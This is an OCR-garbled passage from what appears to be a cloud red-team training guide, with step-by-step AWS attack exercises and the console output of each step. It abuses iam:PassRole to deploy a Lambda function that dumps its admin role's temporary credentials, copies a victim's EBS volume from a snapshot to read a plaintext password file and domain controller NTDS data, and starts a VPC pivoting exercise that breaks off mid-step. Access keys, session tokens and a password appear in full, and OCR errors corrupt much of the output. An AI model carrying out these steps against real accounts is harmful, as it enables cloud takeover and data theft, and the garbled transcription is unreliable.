"iam:GetPolicyVersion",
"iam:GetRole",
"iam:GetRolePolicy",
"iam:ListAttachedRolePolicies",
"iam:ListRolePolicies",
"iam:ListRoles",

"lambda:*",

"logs:Describel ogGroups",




Step 7 : List of inline policies embedded into lambda function role.

aws iam list-role-policies --role-name Lambda-FullAccessRole

~

iam list-role-policies Lambda-FullAccessRole

"PolicyNames": [
"Lambda-Additional-inline-policy"

]




Step 8 : Retrieve the list of permissions defined in the specified inline policy

aws iam get-role-policy --policy-name Lambda-Additional-inline-policy --role-name Lambda-FullAccessRole

~

iam get-role-policy Lambda-Additional-inline-policy Lambda-FullAccessRole

"RoleName": "Lambda-FullAccessRole",
"PolicyName": "Lambda-Additional-inline-policy",
"PolicyDocument": {

"Wersion™: "2012-160-17",

"Statement": [

{
"Sid": "VisualEditor0",
"Effect": "Allow",
VAction™: [

iam:GetPolicyVersion",
"iam:GetAccountPasswordPolicy",

iam:ListRoleTags",

iam:ListServerCertificates",

iam:GenerateServicelastAccessedDetails",
"iam:ListServiceSpecificCredentials",
"iam:ListSigningCertificates",

iam:ListVirtualMFADevices",
"iam:ListSSHPublicKeys",

iam:SimulateCustomPolicy",
"iam:SimulatePrincipalPolicy",
"iam:ListAttachedRolePolicies",

iam:ListOpenIDConnectProviderTags",
"iam:ListSAMLProviderTags",
"iam:ListRolePolicies",
"iam:GetAccountAuthorizationDetails",

iam:GetCredentialReport",
"iam:ListPolicies",
"iam:GetServerCertificate",
"iam:GetRole",

iam:ListSAMLProviders",




:GetAccountSummary"
:GenerateCredentialReport",
:GetServicelastAccessedDetailsWithEntities",
:ListPoliciesGrantingServiceAccess",
:ListInstanceProfileTags",
:ListMFADevices",
:GetServicelLastAccessedDetails",
:GetGroup",
:GetContextKeysForPrincipalPolicy",
:GetOrganizationsAccessReport",
:GetServicelLinkedRoleDeletionStatus",
:ListInstanceProfilesForRole",
:PassRole",
:GenerateOrganizationsAccessReport",
:ListAttachedUserPolicies",
:ListAttachedGroupPolicies",
:ListPolicyTags",

:GetSAMLProvider",

:ListAccessKeys",
:GetInstanceProfile",
:ListGroupPolicies",
:GetSSHPublicKey",

:ListRoles",

:ListUserPolicies",
:ListInstanceProfiles",
:GetContextKeysForCustomPolicy",
:ListPolicyVersions",
:ListOpenIDConnectProviders",
:ListServerCertificateTags",
:ListAccountAliases",

:ListUsers",

:GetUser",

:ListGroups",

:ListMFADeviceTags",
:GetLoginProfile",

:ListUserTags"

1,

"Resource": "*"




Step 9 : List of iam roles in aws account.

aws iam list-roles

~

iam list-roles

{
"Roles": [
{
||path|| . ||/|| :
"RoleName": "Admin-role-for-lambda—func",

"RoleId": "AROAUI7PQBNFS5EEWKMXJY",
"Arn": "arn:aws:iam::294170659659:role/Admin-role—for-lambda-func",
"CreateDate": "2021-10-08T18:12:18+00:00",
"AssumeRolePolicyDocument": {

"Version": "2012-10-17",

"Statement": [

{
"Effect": "Allow",
"Principal": {
"Service": "lambda.amazonaws.com"
i
"Action": "sts:AssumeRole"
}
]
¥,
"Description": "Allows Lambda functions to call AWS services on your behalf.",
"MaxSessionDuration": 3600
¥
{

"Path": "/aws-reserved/sso.amazonaws.com/us—east-2/",
"RoleName": "AWSReservedSSO_AdministratorAccess_8c3a650703cb26a7",
"RoleId": "AROAUI7PQBNFSMYW5TY35",
"Arn": "arn:aws:iam::294170659659:role/aws-reserved/sso.amazonaws.com/us—east—2/AWSReservedSSO_AdministratorAccess_8c3a650703cb26a7",
"CreateDate": "2021-08-31T11:37:06+00:00",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::294170659659:saml-provider/AWSSSO_9eca570d5elbcud2_DO_NOT_DELETE"
b




Step 10 : Configure a malicious lambda function which can steal access token from metadata.

GNU nano 5.4 lambda_function.py =*

import json
import subprocess

al ._handler(event, context):
data = subprocess.Popen('env’',
output, errors = data.communicate()
return {

def
stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=

statusCode': 200,
'body': json.dumps(output)

lambda_function.py lemplate:

lus i thinclient_drives
L1 kala ~

‘ my—function.zip lambda_function.py

adding: lambda_function.py (deflated 39%)

thinclient_drives

lambda_function.py my—functio




Step 11 : Create a new lambda function with malicious code and attach high privilege role to it.

aws lambda create-function --function-name my-function --runtime python3.7
--zip-file fileb://my-function.zip --handler lambda_function.lambda_handler

--role arn:aws:iam::294170659659:role/Admin-role-for-lambda-func --region us-east-2

~

lambda create—-function my—function python3.7 fileb://my—function.zip
lambda_function.lambda_handler arn:aws:iam: :294170659659:role/Admin-role—for-lambda—func us—eas

"FunctionName": "my—-function",
"FunctionArn": "arn:aws:lambda:us-east-2:294170659659:function:my—function",
"Runtime": "python3.7",
"Role": "arn:aws:iam::294170659659:role/Admin-role-for-lambda-func",
"Handler": "lambda_function.lambda_handler",
"CodeSize": 378,
"Description": ""
"Timeout": 3,
"MemorySize": 128,
"LastModified": "2021-10-09T05:59:55.047+0000",
"CodeSha256": "6XvpPDhSrm+YvCWXdIjMP6tAUZx+umPdlqflbMyxNqo=",
"Version": "$LATEST",
"TracingConfig": {

"Mode": "PassThrough"

3,
"RevisionId": "e2d277ad-9abe-U4a®5-b515-cbdub78ef756",

"State": "Active",
"LastUpdateStatus": "Successful",
"PackageType": "Zip"




Step 12 : Now invoke the newly created lambda function with exploit code and retrieve temporary access token

aws lambda invoke --function-name "my-function" --log-type Tail output.txt --region us-east-2

EY «kali@kali: ~ . Rt -

~

lambda invoke "my—function" Tail output.txt

"StatusCode": 200,
"LogResult": "UIRBULQgUmVxdWVzdELkOiAxOGIxMzgSNCOIM2NiLTQUZTAtOTA3MC1jMzRhMWYYyMTJi0GQgVmVyc2lvbjogJEXBVEVTVApFTKkQgUmVxdWVzdETKkOiAXxOGIxMzg5NCOIM2NiLTQUZT

AtOTA3MC1jMzRhMWYyMTJi0GQKUKVQT1JUIFJILlcXV1c3RIZDogMThiMTMUOTQtNTNjYiO000GUWLTKkwNZzAtYzMOYTFmMJEYY jhkCUR1cmFOaW9uOiAyMyUdyNSBtcwlCaWxsZWQgRHVYYXRpb246IDIOIG1zCU
11bW9yeSBTaXplOiAxMjggTUIJTWFU4IE11bW9yeSBVc2Vk0iAzNyBNQglIbmlOIERIcmFOaW9uOiAxMTAuNzIgbXMJICg==",

"ExecutedVersion": "$LATEST"
}

output.txt
{"statusCode": 200, "body": "\"AWS_XRAY_CONTEXT_MISSING=LOG_ERROR\\nPATH=/var/lang/bin:/usr/local/bin:/usr/bin/:/bin:/opt/bin\\nLANG=en_US.UTF-8\\n_AWS_XRAY
_DAEMON_ADDRESS=169.254.79.129\\nAWS_ACCESS_KEY_ID=ASIAUI7PQBNF2J52FBQP\\nLAMBDA_TASK_ROOT=/var/task\\nAWS_LAMBDA_LOG_GROUP_NAME=/aws/lambda/my—function\\nA
WS_LAMBDA_FUNCTION_MEMORY_SIZE=128\\nAWS_LAMBDA_RUNTIME_API=127.0.0.1:9001\\nLD_LIBRARY_PATH=/var/lang/lib:/lib6u4: /usr/1lib64:/var/runtime:/var/runtime/1lib:/
var/task:/var/task/lib: /opt/1ib\\n_AWS_XRAY_DAEMON_PORT=2000\\nAWS_XRAY_DAEMON_ADDRESS=169.254.79.129:2000\\nAWS_LAMBDA_LOG_STREAM_NAME=2021/10/09/[$LATEST]
c8715d8fd5664419b11b193a7da7a150\\nLAMBDA_RUNTIME_DIR=/var/runtime\\nAWS_EXECUTION_ENV=AWS_Lambda_python3.7\\nAWS_LAMBDA_FUNCTION_NAME=my—function\\nAWS_LAM
BDA_INITIALIZATION_TYPE=on-demand\\nAWS_SECRET_ACCESS_KEY=fr6U4KvWRJIVjaumoSiKPDvIORUoUcDeIFfUZ+IWAWX\\NAWS_LAMBDA_FUNCTION_VERSION=$LATEST\\nTZ=:UTC\\nAWS_SES
SION_TOKEN=IQoJb3JpZ21luX2VjED4aCXVzLWVhc3QtMiJHMEUCIQCLVy2yhUWqMUuPEpRODTCx9BLsFB31bf//xxGjA0ZvKwIgO0y80VCUOd690Gs/ek7EnjMIQDfebTnCRpOvs5KiJHwWqmQIIt////////
///ARAAGgwyOTQxNzA2NTk2NTkiDE/IipkaENfAqlpg2CrtAZrTefI8ifzkvFMNLQpFmZ1lyKw/0o0yT2Z8NzpLMSrtNXT/ddsiot1A9271PhIRO19uNGOJIKiUgU1L8F613IiENE2jkn1iOB1FXRidlmncInNN
CV3W+XBgQehM3Qi6Dbr79LxL0O3RSLFh+WOwVkKk5D/kcuV1lisY5uE5Sn/houi2m5NAFfzJIxkoLLFniZDSDolYGx5me+iRXSJRdpVKeNYnjWBBev3vREhss1W5NuGo+pgflGe8kXTgpvooDJYYePVVVz/cq9CUA
wDdRS+QFqvA3ck+IvpdU46aFXOCFhRIDZziNST2DOCwWMXF9BcNvMBDCZUISLBjqaAdepCCqKDkgZY3173Dadi3bv8mKoSurBduG8gcYS/EXaS+t/+jIvNkKBdtUfvx0PdeqPYVKwrgh2tzjEgtPu8plidZULu
VQmU8UaGOkVuXi®5ZLRzkseu+3aWAclVKPcfWAmM6/012LAjnfZS6j00MDMZXFAI300D8haV98TOFp6I17Ho/QUdG8mImyJc3YL8vvRcZsYE/wlkqVE=\\n_HANDLER=1lambda_function.lambda_handle
r\\nAWS_REGION=us—-east-2\\nAWS_DEFAULT_REGION=us-east-2\\n_X_AMZN_TRACE_ID=Root=1-61613019-14+313af0036al0U7a6abbe3;Parent=4137e34722d41a95; Sampled=0\\n\""}




Step 13 : Configure aws cli with retrieved temporary access token.
export AWS_ACCESS_KEY_ID=
export AWS_SECRET _ACCESS_KEY=
export AWS SESSION TOKEN=

~

export AWS_ACCESS_KEY_ID=ASTIAUI7PQBNF2J52FBQP

~

export AWS_SECRET_ACCESS_KEY=Fr6u4KvWRJIVjaumoSiKPDvIORU4olUcDeIFfUZ+IWAWX

~

export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEDU4aCXVzLWVhc3QtMiJHMEUCIQCLVy2yhUWqMUuPEpRODTCx9BLsFB31bf//xxGjA0ZvKwIgO0y80VCUOd690Gs/ek7TEnjMIQDFebTnCRpIvVsS5K
iJHwqmQIIt///////////ARAAGgwyOTQxNzA2NTk2NTkiDE/IipkaENfAqlpg2CrtAZrTefI8ifzkvFMNLQpFmZlyKw/o0yT2Z8NzpLMSrtNXT/ddsiot1A9271PhIRO19uNGOJIKiUg41L8f613IiEnE2jkn
1i0B1fXRillmncInNNCV3W+XBgQehM3Qi6Dbr79LxLO3RSLFh+WOwVKKk5D/kcuV1lisY5uE5n/houi2m5NAfzJIxkoLLFniZDSDolYGx5me+iRXSJRdpVKeNYnjWBBev3vREhss1W5NuGo+pgf1Ge8kXTgpvo
oDJYYePVVVz/cq9CUAwWDdRS+QFqvA3ck+IvpdUd6aFXOCFhRIDZziNST2DOCWMX+9BcNvMBDCZUISLBjqaAdepCCqKDkgZY3173Dadi3bv8mKoSurBduG8gcYS/EXaSFt/+jIvNKKBdtUfvxOPdeqPYVKwrgh
2tzjEgtPu8pliddZULuVQmU8UaGOkVuXi®5ZLRzkseu+3aWAc1VKPcfWAmM6/012LAjnfZS6j00MDMZXFAI300D8haV98TOFp6I17Ho/QuUdG8mImyJc3YL8vVRcZsYE/wlkqVE=

Step 14 : Configure aws cli with retrieved temporary access token.

aws sts get-caller-identity

EY kali@kali: ~ X SE S - X

~

sts get-caller-identity

"UserId": "AROAUI7PQBNF5EEWKMXJY:my—function",
"Account": "294170659659",
"Arn": "arn:aws:sts::294170659659:assumed-role/Admin-role—for-lambda-func/my—function"




Step 15 : Get the information about specified role attached to the vulnerable lambda function

aws iam list-attached-role-policies --role-name Admin-role-for-lambda-func

~

iam list-attached-role-policies Admin-role-for-lambda-func

"AttachedPolicies": [
{

"PolicyName": "AdministratorAccess",
"PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"




EXERCISE : AWS -4

Credential Hunting from Snapshots
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Step 1 : Configure AWS cli with compromised user credential.

aws configure --profile ca

~

configure ca
AWS Access Key ID [None]: AKIAUI7PQBNF6ZODRUFP

AWS Secret Access Key [None]: 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
Default region name [None]:

Default output format [None]:

Step 2 : Get the information about configured user in aws cli.

aws sts get-caller-identity --profile ca

~

sts get-caller-identity

"UserId": "AIDAUI7PQBNF6DL20UARX",
"Account": "294170659659",
"Arn": "arn:aws:iam: :294170659659:user/ec2-admin"




Step 3 : Get the information about attached policy to the specified user.

aws iam list-attached-user-policies --user-name ec2-admin --profile ca

~

iam list-attached-user-policies ec2—-admin

"AttachedPolicies": [
{

"PolicyName": "AmazonEC2FullAccess",
"PolicyArn": "arn:aws:iam::aws:policy/AmazonEC2FullAccess"

Describe the information about all ec2 instances in a specified region .

aws ec2 describe-instances --profile ca --region us-east-2

~

ec2 describe-instances us—east-2

"Reservations": [

{

"Groups": [],
"Instances": [




"Instances": [
{

"AmiLaunchIndex": O,
"ImageId": "ami-0428fcleelbde®ub5a",
"Instanceld": "i-00fa06304d588a32e",
"InstanceType": "t2.micro",
"KeyName": "CHMRTS-AWS-SSH-Key",
"LaunchTime": "2021-10-10T07:05:57+00:00",
"Monitoring": {

"State": "disabled"
b,
"Placement": {

"AvailabilityZone": "us-east-2c",

"GroupName": "",

"Tenancy": "default"
},
"Platform": "windows",
"PrivateDnsName": "ip-172-31-35-71.us-east-2.compute.internal”,
"PrivateIpAddress": "172.31.35.71",
"ProductCodes": [],
"PublicDnsName": "ec2-18-221-130-150.us-east-2.compute.amazonaws.
"PublicIpAddress": "18.221.130.150",
"State": {

"Code": 16,

"Name": "running"
b,
"StateTransitionReason": "",
"SubnetId": "subnet-99487fd5",
"VpcId": "vpc-72baddl9",
"Architecture": "x86_64",
"BlockDeviceMappings": [

{

"DeviceName": "/dev/sdal",
PEhST a0
"AttachTime": "2021-10-10T07:05:58+00:00",
"DeleteOnTermination": true,
"Status": "attached",
"VolumeId": "vol-0d74d096582ec0161"




Step 5 : Describe the information about all the volumes available in a specified region .

aws ec2 describe-volumes --profile ca --region us-east-2

~

ec2 describe-volumes us—east-2

"Volumes": [
{
"Attachments": [
{
"AttachTime": "2021-10-10T07:05:58+00:00",
"Device": "/dev/sdal",
"InstanceId": "i-00fa06304d588a32e",
"State": "attached",
"VolumeId": "vol-0d74d096582ec0161",
"DeleteOnTermination": true
}
1,
"AvailabilityZone": "us-east-2c",
"CreateTime": "2021-10-10T07:05:59.076000+00:00",
"Encrypted": false,
"Size": 30,
"SnapshotId": "snap-0b31fa@del288fd8b",
"State": "in-use",
"VolumeId": "vol-0d74d096582ec0161",
"Tops": 100,
"VolumeType": "gp2",
"MultiAttachEnabled": false




Step 6 : Create a snapshot from existing volume attached to ec2 instance.

aws ec2 create-snapshot --volume-id vol-0d74d096582ec0161 --description "RedTeam-Snap" --profile ca --region us-east-2

~

ec2 create-snapshot vol-0d74d096582ec0161 "RedTeam-Snap" us-east-2

"Description": "RedTeam-Snap",
"Encrypted": false,
"OwnerId": "294170659659",

uproqressu: uu'

"SnapshotId": "snap-0d6ad958f7d770fU2",
"StartTime": "2021-10-10T10:46:18.911000+00:00",
"State": "pending",

"VolumeId": "vol-0d74d096582ec0161",
"VolumeSize": 30,

"Tags": []




Step 7 : Describe the information about all the self created snapshots available in a specified region .

aws ec2 describe-snapshots --profile ca --region us-east-2 --owner-ids self

~

ec2 describe-snapshots us—-east-2

"Snapshots": [
{

"Description": "RedTeam—-Snap",
"Encrypted": false,
"OwnerId": "294170659659",
"Progress": "0%",
"SnapshotId": "snap-0d6au958f7d770f42"
"StartTime": "2021-10-10T10:46:18.911000+00
"State": "pending",
"VolumeId": "vol-0d74d096582ec0161",
"VolumeSize": 30




Step 8 : Start an new ec2 instance in the same region.

aws ec2 create-volume --snapshot-id snap-0d6a4958f7d770f42 --profile ca --availability-zone us-east-2b --region us-east-2

~

ec2 run-—-instances ami-0428fcleelbde®u5a 1 t2.micro CHMRTS-AWS-SSH—-Key sg—-0660b36
dléeddb1584 subnet-99U487+d5 ca us—east-2
{
"Groups": [],
"Instances": [
{
"AmiLaunchIndex": ©,
"ImageId": "ami-0428fcleelbdefu5a",
"InstanceId": "i-0e941cf18c639f0a7",
"InstanceType": "t2.micro",
"KeyName": "CHMRTS—-AWS-SSH-Key",
"LaunchTime": "2021-10-10T11:05:19+00:00",
"Monitoring": {
"State": "disabled"
},
"Placement": {
"AvailabilityZone": "us-—-east-2c",
"GroupName": ""

I
"Tenancy": "default"

},
"Platform”: "windows",
"PrivateDnsName": "ip-172-31-34-123.us-east-2.compute.internal”,
"PrivateIpAddress": "172.31.34.123",
"ProductCodes": [],
"PublicDnsName": "",
"State": {

"Code": O,

"Name": "pending"
},
"StateTransitionReason": .
"SubnetId": "subnet-99487fd5",
"VpcId": "vpc—-72baddlo",
"Architecture": "x86_64",
"BlockDeviceMappings": [],
"ClientToken": "f9d1lb7au-6e37-U465a—-88ef-5f72U7a803d6"
"EbsOptimized": false,
"EnaSupport": true,
"Hypervisor": "xen",




"NetworkInterfaces": [
{
"Attachment": {
"AttachTime": "2021-160-10T11:05:19+00:00",
"AttachmentId": "eni-attach-06f03c5a2db5cd68c",
"DeleteOnTermination": true,
"DeviceIndex": O,
"Status": "attaching",
"NetworkCardIndex": ©
3,
"Description": "",
"Groups": [
{
"GroupName": "launch-wizard-2",
"GroupId": "sg-0660b36d164db1584"
}
1,
"Ipv6Addresses": [],
"MacAddress": "0a:0f:4b:68:65:86",
"NetworkInterfaceId": "eni-063e4b03406bb6768",
"OwnerId": "294170659659",
"PrivateDnsName": "ip-172-31-34-123.us-east-2.compute.internal”,
"PrivateIpAddress": "172.31.34.123",
"PrivateIpAddresses": [
{
"Primary": true,
"PrivateDnsName": "ip-172-31-34-123.us-east-2.compute.internal”,
"PrivateIpAddress": "172.31.34.123"
}

1,

"SourceDestCheck": true,
"Status": "in-use",
"SubnetId": "subnet-99487fd5",
"VpcId": "vpc-72baddlo",
"InterfaceType": "interface"

}
1,
"RootDeviceName": "/dev/sdal",
"RootDeviceType": "ebs",
"SecurityGroups": [




Step 9 : Describe the information about all the volumes available in a specified region .

aws ec2 describe-volumes --profile ca --region us-east-2

~

ec2 describe-volumes

"Volumes": [
{
"Attachments": [
{
"AttachTime": "2021-10-10T07:05:58+00:00",
"Device": "/dev/sdal",
"InstanceId": "i-00fa06304d588a32e",
"State": "attached",
"VolumeId": "vol-0d74d096582ec0161",
"DeleteOnTermination”: true
}
1,
"AvailabilityZone": "us-east-2c",
"CreateTime": "2021-10-10T07:05:59.076000+00:00",
"Encrypted": false,
"Size": 30,
"SnapshotId": "snap—-0b31fa®del288fd8b",
"State": "in-use",
"VolumeId": "vol-0d74d096582ec0161",
"Iops": 100,
"VolumeType": "gp2",
"MultiAttachEnabled": false

"Attachments": [
{
"AttachTime": "2021-10-10T11:05:20+00:00",
"Device": "/dev/sdal",
"InstanceId": "i-0e941cf18c639f0a7",
"State": "attached",
"VolumeId": "vol-0349a3f2e90e9041d",
"DeleteOnTermination”: true
}
1,
"AvailabilityZone": "us-east-2c",
"CreateTime": "2021-10-10T11:05:20.920000+00:00",
"Encrypted": false,




"MultiAttachEnabled": false
b,
{
"Attachments": [
{
"AttachTime": "2021-10-10T11:05:20+00:00",
"Device": "/dev/sdal",
"InstanceId": "i-0e941cf18c639f0a7",
"State": "attached",
"VolumeId": "vol-0349a3f2e90e9041d",
"DeleteOnTermination": true
}

1,

"AvailabilityZone": "us-east-2c",

"CreateTime": "2021-10-10T11:05:20.920000+00

"Encrypted": false,

"Size": 30,

"SnapshotId": "snap-0b31fa@del288fd8b",

"State": "in-use",

"VolumeId": "vol-0349a3f2e90e9041d",

"Tops": 100,

"VolumeType": "gp2",

"MultiAttachEnabled": false

"Attachments": [],

"AvailabilityZone": "us-east-2b",
"CreateTime": "2021-10-10T10:56:37.813000+00
"Encrypted": false,

MSizel:- 30!

"SnapshotId": "snap-0d6aud958+7d770fu2",
"State": "available",

"VolumeId": "vol-0dblld6f2448du4U450",
"Tops' =100~

"VolumeType": "gp2",
"MultiAttachEnabled": false




Step 10 : Attach newly created volume from snapshot to attacker ec2 instance .

aws ec2 attach-volume --volume-id vol-0db7bb389677012fc --instance-id i-0€941cf18c639f0a7 --device /dev/sdf --profile ca

--region us-east-2

~

ec2 attach-volume vol-0db7bb389677012fc i-0e941cf18c639f0a7 /dev/sdf us—east-2

"AttachTime": "2021-10-10T11:19:00.064000+00:00",
"Device": "/dev/sdf",

"InstanceId": "i-0e9U41c+18c639f0a7",

"State": "attaching",

"VolumeId": "vol-0db7bb389677012fc"

"Tenancy": "default"
Inr
"Platform"”: "windows",
"PrivateDnsName": "ip—172—-31-34-123.us—east—2.compute.internal”,
"PrivateIpAddress": "172.31.34.123",
"ProductCodes": [],
"PublicDnsName": "ec2—3-138-187—U40.us—east—2.compute.amazonaws.com"
"PublicIpAddress": "3.138.187.40",
nState: £

NEode 167

"Name": "running"
3,
"StateTransitionReason": .
"SubnetId": "subnet—99u487fd5",
"VpcId": "“"vpc—72badd4l9",
"Architecture”: "x86_64",
"BlockDeviceMappings": [

<

"DeviceName": "/dev/sdal",
NEbs™: ¥
"AttachTime": "2021-160-10T11:05:20+00:00",
"DeleteOnTermination": true,
"Status": "attached",
"VolumeId"”: "vol—0349a3f2e90e9041d"

"DeviceName": "/dev/sdf",
"Ebs" - {
YAtEachTime®:z "2021 1601011 :18:59100:00"
"DeleteOnTermination": false,
"Status": "attached",
"VolumeId": "vol—-0db7bb389677012fc"
3
¥
]l
"ClientToken": "f9dlb7ad4-6e37-U465a—88ef—-5Ff7247a803d6",
"EbsOptimized": false,
"EnaSupport": true,




Step 11 : Retrieve ec2 instance window password using ssh private key .

aws ec2 get-password-data --instance-id i-0€941cf18c639f0a7 --priv-launch-key CHMRTS-AWS-SSH-Key.pem --profile ca

--region us-east-2

~

ec2 get-password-data i-0e9U1cf18c639F0a7 CHMRTS—-AWS-SSH-Key . pem us—east-2

"InstanceId": "i-0e941cf18c639f0a7",

"PasswordData": "@mZBNKG!zQRnV0z9owZN%v%7G3GKJILdQ",
"Timestamp": "2021-10-10T11:09:06+00:00"




Step 12 : Login to attacker newly created windows ec2 instance .

- |

Recycle Bin

&

EC2
Feedback

EC2
Microso...

Hostname: EC2AMAZ-DS5E3K3
Instance ID: i-0e941cf18c639f0a7
Public IP Address: 3.138.187.40
Private IP Address: 172.31.34.123
Instance Size: t2.micro
Availability Zone: us-east-2c
Architecture: AMD64

Total Memory: 1024 MB

Network Performance: Low to Moderz




Step 13 : Now, Mount newly attached volume [D:/] to attacker window machine .

X

e Disk Management
File Action Help
e m HMmE =B 0
Volume l Layout I Type ] File System Status I Capacity l Free Sp... l % Free
- () Simple Basic NTFS Healthy (S... 30.00 GB 1441 GB 48 %
- (D) Simple Basic NTFS Healthy (A.. 30.00 GB 13.54 GB 45 %
=~ Disk 0 L]
Basic (C2)
30.00 GB 30.00 GB NTFS
Online Healthy (System, Boot, Page File, Active, Crash Dump, Primary Partition)
- Disk 1 ||
Basic
30.00 GB 30.00 GB NTFS
Online Healthy (Active, Primary Partition)
B Unallocated M Primary partition

v Devices and drives (2)

Local Disk (C:)

14.4 GB free of 29.9 GB

I

]

Local Disk (D:)

13.5 GB free of 29.9 GB

58




Step 14 : Exfiltrate the sensitive data stored in new mounted volume .

Home Share

View

v 4 I > ThisPC > Local Disk (D:) > Users > Administrator > Desktop

3 Quick access
[ Desktop
=| Documents
¥ Downloads

=/ Pictures

N

Name

£) EC2 Feedback
2 EC2 Microsoft Windows Guide

| Secrets

Date modified

/2016 3:36 PM

10/10/2021 9:30 A...

Type
Pinned Site Shortcut
nned Site Shortcut

Text Document

_| Secrets - Notepad

File Edit Format View Help
User credentials
Username : Prod-Admin
Password : P@sswerd

Windows (CRLF)

Ln1,Col 1

59




Tool : https://github.com/MichaelGrafnetter/DSInternals

Step 15 : Also, use DSInternals utility to retrieve the victim Domain Controller hashes .

| Ml ¥ s | NTDS

« v 1

3 Quick access
B Desktop

=| Documents

¥ Downloads

n

&=/ Pictures
@ This PC

¥ Network

Share

> This PC > Local Disk (D:) > Windows > NTDS

% % % %

View

Name

%] edb.chk

=l edb

=] edb00001

L] edbres00001.jrs
] edbres00002.jrs
= edbtmp

|| ntds.dit

L] ntds.,jfm

B temp.edb

~

Date modified

10/10/2021 7:48 A...
10/10/2021 10:37 ...
10/10/2021 7:30 A...
10/10/2021 7:30 A...
10/10/2021 7:30 A...
10/10/2021 7:31 A...
10/10/2021 7:33 A...
10/10/2021 7:49 A...
10/10/2021 7:33 A...

Type

Recovered File Fra...

Text Document
Text Document
JRS File
JRS File
Text Document
DIT File
JEM File
EDB File

Size

8 KB
10,240 KB
10,240 KB
10,240 KB
10,240 KB
10,240 KB
18432 KB

16 KB
424 KB

v O

Search NTDS
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https://github.com/MichaelGrafnetter/DSInternals

EXERCISE : AWS -5

Breaching the Boundary of Virtual Private Cloud
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VPC1

'

] EC 2
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2. Laterally Move
From VPC1 to
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e

VPC 2

Public Subnet
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T
EC2
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————— ]

VPC Peering

Critical Server

Private Subnet

3. Finally
Compromise
Critical

Server in
Private Subnet

1. Attacker Compromise Publicly Exposed EC2 Instance

Attacker
System

Pivoting




Step 1:

Configured aws cli with compromised read only user credential.

aws sts get-caller-identity --profile ro

~

sts get-caller-identity

"UserId": "AIDAUI7PQBNF7QESV3R5H",
"Account": "294170659659",
"Arn": "arn:aws:iam: :294170659659:user/Readonly—-user"




Step 2: Retrieve the information about virtual network in a specified vpc.

aws ec2 describe-vpcs --profile ro --region us-east-2

~

ec2 describe-vpcs

T el |
{
"CidrBlock": "172.31.6.6/16",
"DhcpOptionsId": "dopt-cfl@53ad",
"State": "available",
"VpcId": "vpc-72baddl9",
"OwnerId": "294170659659",
"InstanceTenancy": "default",
"CidrBlockAssociationSet": [
{
"AssociationId": "vpc-cidr-assoc-89b8d0e2",
"CidrBlock": "172.31.6.6/16",
"CidrBlockState": {
"State": "associated"
5
}
1,
"IsDefault": true,
"Tags™: [
{
IlRey": IINameII'
"Value": "Default"




"CidrBlock": "10.160.10.0/24",
"DhcpOptionsId": "dopt-cf1053ad",
"State": "available",
"VpcId": "vpc-09e9c5a3ae5da7368",
"OwnerId": "294170659659",
"InstanceTenancy": "default",
"CidrBlockAssociationSet": [
{
"AssociationId": "vpc-cidr-assoc-0aebOcfe58e0d1lc74",
"CidrBlock": "10.10.10.0/24",
"CidrBlockState": {
"State": "associated"

}
L

],
"IsDefault": false,

Rlagsh -
{

"Key": "Name",
"Value": "Public-VPC"




"CidrBlock": "192.168.0.0/16",
"DhcpOptionsId": "dopt-cf1053ad",
"State": "available",
"VpcId": "vpc-0ff26aff3befld50b",
"OwnerId": "294170659659",
"InstanceTenancy": "default",
"CidrBlockAssociationSet": [
{
"AssociationId": "vpc-cidr-assoc-0729794395514896d",
"CidrBlock": "192.168.0.0/16",
"CidrBlockState": {
"State": "associated"
1
}

],
"IsDefault": false,

"Tags™: [
{

IIKeyll : |lName|l ;
"Value": "Private-VPC"




Step 3 : Get the information about subnets details in a specified [public vpc].

aws ec2 describe-subnets --profile ro --region us-east-2 -filters "Name=vpcld,Values=vpc-09e9c5a3ae54a7368"

~

ec2 describe—-subnets

"Subnets": [

{

"AvailabilityZone": "us-east-2c",
"AvailabilityZoneId": "use2-az3",
"AvailableIpAddressCount": 250,
"CidrBlock": "10.10.10.0/24",
"DefaultForAz": false,
"MapPublicIpOnLaunch": false,
"MapCustomerOwnedIpOnLaunch": false,
"State": "available",
"SubnetId": "subnet-0987ecf31f72617cc",
"VpcId": "vpc-09e9c5a3ae54a7368",
"OwnerId": "294170659659",
"AssignIpv6AddressOnCreation": false,
"Ipv6CidrBlockAssociationSet": [],
NTagst: I
{
"Key": "Name",
"Value": "Public subnet"
}

1,
"SubnetArn": "arn:aws:ec2:us-east-2:294170659659

"Name=vpcId, Values=vpc-09e9c5a3ae54a7368"

:subnet/subnet-0987ecf31f72617cc"




Step 4 : Get the information about subnets details in a specified vpc [private vpc].

aws ec2 describe-subnets --profile ro --region us-east-2 --filters "Name=vpcld,Values=vpc-0ff26aff3bef1d50b"

~

ec2 describe-subnets "Name=vpcId,Values=vpc-0ff26aff3befld56b"

"Subnets": [
{
"AvailabilityZone": "us-east-2c",
"AvailabilityZoneId": "use2-az3",
"AvailableIpAddressCount": 250,
"CidrBlock": "192.168.1.0/24",
"DefaultForAz": false,
"MapPublicIpOnLaunch": false,
"MapCustomerOwnedIpOnLaunch": false,
"State": "available",
"SubnetId": "subnet-070402cb26342bc7d",
"VpcId": "vpc-0ff26aff3befld56b",
"OwnerId": "294170659659",
"AssignIpv6AddressOnCreation": false,
"Ipv6CidrBlockAssociationSet": [],
"Tags™: [
{
"Key": "Name",
"Value": "PublicSubnet-PrivateVPC"
}

il
"SubnetArn": "arn:aws:ec2:us-east-2:294170659659:subnet/subnet-070402cb26342bc7d"




"AvailabilityZone": "us-east-2c",
"AvailabilityZoneId": "use2-az3",
"AvailableIpAddressCount": 250,
"CidrBlock": "192.168.2.0/24",
"DefaultForAz": false,
"MapPublicIpOnLaunch": false,
"MapCustomerOwnedIpOnLaunch": false,
"State": "available",

"SubnetId": "subnet-0e736fbd8e66+3951",
"VpcId": "vpc-0ff26aff3befld50b",
"OwnerId": "294170659659",
"AssignIpv6AddressOnCreation": false,

"Ipv6CidrBlockAssociationSet": [],
"Tags?: [
{

llReyll: IlNamell,
"Value": "PrivateSubnet-PrivateVPC"
}

15
"SubnetArn": "arn:aws:ec2:us-east-2:294170659659

:subnet/subnet-0e736fbd8e66+3951"




Get the information about routing table associated to the specified subnet [public subnet-public vpc] .

aws ec2 describe-route-tables --profile ro --region us-east-2 --filters

